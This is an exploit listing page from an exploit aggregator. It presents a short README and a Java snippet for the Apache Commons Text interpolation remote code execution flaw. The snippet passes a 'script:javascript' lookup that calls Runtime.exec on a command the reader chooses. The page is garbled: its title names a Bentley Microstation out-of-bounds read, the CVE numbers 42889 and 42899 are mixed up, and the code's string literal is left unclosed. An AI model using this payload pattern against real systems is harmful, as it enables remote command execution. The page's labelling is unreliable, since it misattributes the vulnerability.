Sploitus

Exploit for Out-of-bounds Read in Bentley Microstation

CVE-2022-42889CVE-2022-42899

githubexploit · 2022-10-19

Exploit Code

README8 lines
## https://sploitus.com/exploit?id=FC1FA5F6-9350-5D1F-AC50-99A1FC5EAD7B
# CVE-2022-42899
Apache Common Text starting from version 1.5 to 1.9 has Remote code execution vulnerability [CVE-2022-42899](https://vulners.com/cve/CVE-2022-42889). 

```java
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('"); // Here you will pass payload which you want to execute such as 'mkdir /tmp/cve-2022-42899'
```